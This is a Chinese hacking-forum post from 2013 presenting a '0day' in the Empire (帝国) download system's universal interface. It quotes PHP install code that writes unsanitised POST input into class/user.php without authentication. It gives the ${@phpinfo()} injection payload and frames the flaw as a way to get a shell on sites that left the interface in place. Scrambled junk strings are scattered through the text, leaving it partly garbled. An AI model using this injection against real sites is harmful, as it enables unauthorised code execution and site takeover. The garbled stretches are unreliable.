找回密码
 立即注册
查看: 2972|回复: 0
打印 上一主题 下一主题

帝国万能接口漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:34:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们# Q" o7 A# c! n
- g/ S9 x3 P  Y; `: J/ n


) U  S+ _4 K% _+ ?$ O) h这是帝国的一套下载系统 如图; Q, E  v2 B) i9 }& g+ f
ps(不需要任何账户和密码,直接写shell)


  D2 Z' X2 c  m8 s/ k# |6 m

由于很多站是由于下载要整合discuz 等等一些论坛....
9 n# L) {1 ~- i7 v. P

( F3 O% k0 Q, v+ g+ z$ j+ K" Q; l

而帝国他又有一个万能接口,如图

  S) j4 y# `' l9 ]; D: p4 f
. R9 v8 [5 u2 ~( g) I" \! h
+ L/ C* g4 P4 p% g- q

而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码; Q2 w  t! o4 x7 w; h

$ L1 k: {& a1 b! t. p# g3 S当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig

1. if($_GET['install']==1)
2. {
3. @include("../class/connect.php");
4. @include("../class/db_sql.php");
5. @include("../class/functions.php");
6. $link=db_connect();
7. $empire=new mysqlquery();
8. if($setup=="SetConfig")
9. {
10. SetUserCOMConfig($_POST);
11. }
12. elseif($setup=="alter")
13. {
14. InstallUserCOM();
15. }
16. elseif($setup=="update")
17. {
18. UpdateUserCOM();
19. }
20. else
21. {}

复制代码

他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪
5 n8 f6 G8 @; y2 U1 r- ]% P, c: S- f2 p4 S9 B1 }& l6 `/ m
在data/fun.php中的15行
0 x, _1 x8 F+ s# P5 x, C6 j0 s5 u) b5 @" |
我们可以看到这个函数

1. function SetUserCOMConfig($add){
2. $filetext=ReadFiletext('data/user.php');
3. if(empty($filetext))
4. {
5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.');
6. }
7. $vr=explode(",",ReturnRepUserVar());
8. $count=count($vr);
9. for($i=0;$i<$count;$i++)
10. {
11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
12. }
13. //写入配置文件
14. $fp=@fopen("../class/user.php","w");
15. if(!$fp)
16. {
) I# \' P) I# x$ S) K
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
18. }
19. @fputs($fp,$filetext);
20. @fclose($fp);

复制代码

.....//省略若干! }$ k! ?5 R! N3 r
, b3 l* C( r6 I
这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);' _# R, a3 q1 F$ G& R
9 q. w  S7 c4 R
他将传进来的变量进行了切割,然后赋给了$filetext
, S8 ^. b$ L' _! @# m
4 _! H8 ?6 i+ @) ^& e. Y然后看下面

1. //写入配置文件
2. $fp=@fopen("../class/user.php","w");
3. if(!$fp)
4. {
5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
6. }
7. @fputs($fp,$filetext);

复制代码

打开了一个class/user.php文件,然后将$filetext写入了5 m& }: j; y! X/ k/ C' t, _

" w" p; l2 X4 r我们看看写入的结果,随便填一个

# F0 G/ c- O5 V6 {5 ?& P
  d1 f2 F; R- n4 P% p' `4 d

4 x; f! M2 E8 i' H: {
" M- Y# Y8 U; f% l+ }* {  i8 S& p$ H5 J$ ?5 V# ?: |

- E' B2 r$ @2 D
1 G! H5 i! r. f6 R) b  A
- J6 V2 n3 S4 }5 ?9 K
; w* A. ?- G  o. T9 q7 L
/ |, L# J8 F; p1 |) l

  ~7 r6 N7 O, ~6 U- V. T5 R. g& ~' u6 v! Q, ~1 j

* _! q9 |& @4 r! s, R, ^" G
. p: H, {/ K. U% h; x- r3 K, f

$ W/ _' K9 J& E! N/ \
+ f6 w1 w8 r) i3 w( ^* b' G$ o: q, f: @0 l8 c" b8 y; q

; y, N& V% g% w
. Z! J" Z$ Y, n# f) i3 c5 a4 w. j2 C* N9 F3 A6 E
' x  _. A4 N# Z! q
; M- w2 }. k6 \

所以我们淫荡点,写个${@phpinfo()}试试

* b. }4 @9 z* {; J: F

然后访问以下class/user.php这个文件
  V& n$ [' Y) U- l8 C日了吧

, V- c% P: X4 H8 K
3 b( [; Z" ]9 ^( r( b! ^

" ]* M+ V* Q$ I1 a. P- D. @
; B  b. N0 V% @3 O1 b

) [3 Z7 U5 a! _  l

& |, k% a) @4 c+ W, u( x7 F* |& n. H

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表